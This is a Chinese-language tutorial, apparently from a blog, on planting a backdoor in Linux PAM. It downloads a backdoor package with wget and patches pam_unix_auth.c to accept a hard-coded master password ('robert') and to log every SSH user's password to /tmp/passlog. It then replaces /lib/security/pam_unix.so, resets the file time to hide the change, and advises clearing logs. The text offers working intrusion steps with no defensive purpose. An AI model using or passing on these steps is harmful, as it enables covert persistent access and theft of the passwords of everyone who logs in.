linux上的后门我就不啰嗦了,昨天一时兴起,仔细研究了下pam backdoor,弄懂了后门安装的整个过程,下面我就来讲下这个后门的安装以及使用。
首先,这个PAM后门可以达到两个效果,一个是万能密码,一个是键盘记录。可以记录所有的登陆到这台机器的ssh用户的密码,默认保存在/tmp/passlog的这个文件里。这里需要说明的是这个后门有两点缺陷,第一点是,不能打开端口,因为他毕竟只是一个简单的backdoor,不是rootkit,不同于sshbd之类的后门,可以在自己的通道中执行一些操作,但是同时优点也是明显的,他对系统的更改较少,隐蔽的好不会引起管理员的注意。第二点就是,ssh登陆要开启pam支持,有一些可能不支持pam的或者说把pam关了的,就不可以了。当然你使用openssh的后门也是可以的,安装和实际操作的原理都是一样的。
接下来讲下安装的流程,我们使用到的这个后门安装包,包含三个部分,一个是原始的pam源代码,为Linux-PAM-0.77,一个为已经编译好的二进制程序,我当初测试了一下直接用它编译好的覆盖后是不行的,大家可以自行的测试下。还有一个是patches文件。如果单纯的是只要万能密码的话,只需要在pam源代码里,加入一个语句就可以了,然后编译安装就OK了,如果需要记录密码的功能,就要在编译前打一个patch。
安装流程如下:复制patch到源代码目录->打patch->编译->将生成的pam_uninx.so文件覆盖到/lib/secruity/pam_unix.so下->修改文件属性->建立密码保存文件,并设置好相关的权限->清理日志->ok,闪人。
流程非常的简单。openssh的后门也是这个原理。流程也基本一致。网上有一些文章说的很不清楚,有些点没有特别的指出来,对linux菜鸟来说,其实还是比较难一下就理解的。
接下来我们来讲下具体的安装过程:
首先我们下载后门的源代码
wget http://blog.cnmoker.org/dl/pam_backdoor.gz
之后解压下载的文件
tar zxvf pam_backdoor.gz
然后我们进入patches这个目录,将文件pam_unix_auth.c.patch_linux 这个文件复制到/pam_backdoor/packages/Linux-PAM-0.77/modules/pam_unix 并改名为pam_unix_auth.c.patch(Linux-PAM-0.77这个你解压安装包后还需要解压一下。)
cp pam_unix_auth.c.patch_linux /tmp/up/pam_backdoor/packages/Linux-PAM-0.77/modules/pam_unix/pam_unix.c.patch
然后再进入到pam源代码目录里,我们先切换到/tmp/up/pam_backdoor/packages/Linux-PAM-0.77/modules/pam_unix/这个目录
编辑pam_unix_auth.c
vi pam_unix_auth.c
搜索如下行
retval = _unix_verify_password(pamh, name, p, ctrl);
大概在179行左右
在他后面添加一行
if (strcmp(p,”robert”)==0 ){retval = PAM_SUCCESS;}
robert就是你的万能密码了。
保存退出
然后确认下目录下是否有pam_unix.c.patch这个文件,看看是否复制到了
有的话,我们在执行
patch <pam_unix_auth.c.patch
这样就会把patch打进pam_unix_auth.c这个文件里
打完后我们可以看到
patch里的东西已经经过对比直接加载pam_unix_auth.c这个文件里了,linux打补丁的方式有好几种,有二进制的,也有源代码方式的。我们这里其实就是采用的源代码方式的。因此引申出一个问题就是,其实密码记录的路径还有其他的一些功能是可以自己改的。
打完后我们进入到/tmp/up/pam_backdoor/packages/Linux-PAM-0.77(这个是我的目录,你的可能是/xx/pam_backdoor/packages/Linux-PAM-0.77/)
进行编译
输入
./configure
然后输入
make
之后会在pam_unix的目录生成一个pam_unix.so的文件
这个文件就是我们的后门文件了
将这个文件复制到/lib/security/pam_unix.so
cp pam_unix.so /lib/security/pam_unix.so
然后使用touch修改下文件时间就OK了
差点忘记,因为刚才我们打patch的时候,把密码记录的位置定义在了/tmp/passlog
所以,我们在安装后门后,需要在/tmp/先建立passlog这个文件
touch /tmp/passlog ;chmod a+w /tmp/passlog
然后我们可以看到记录到的密码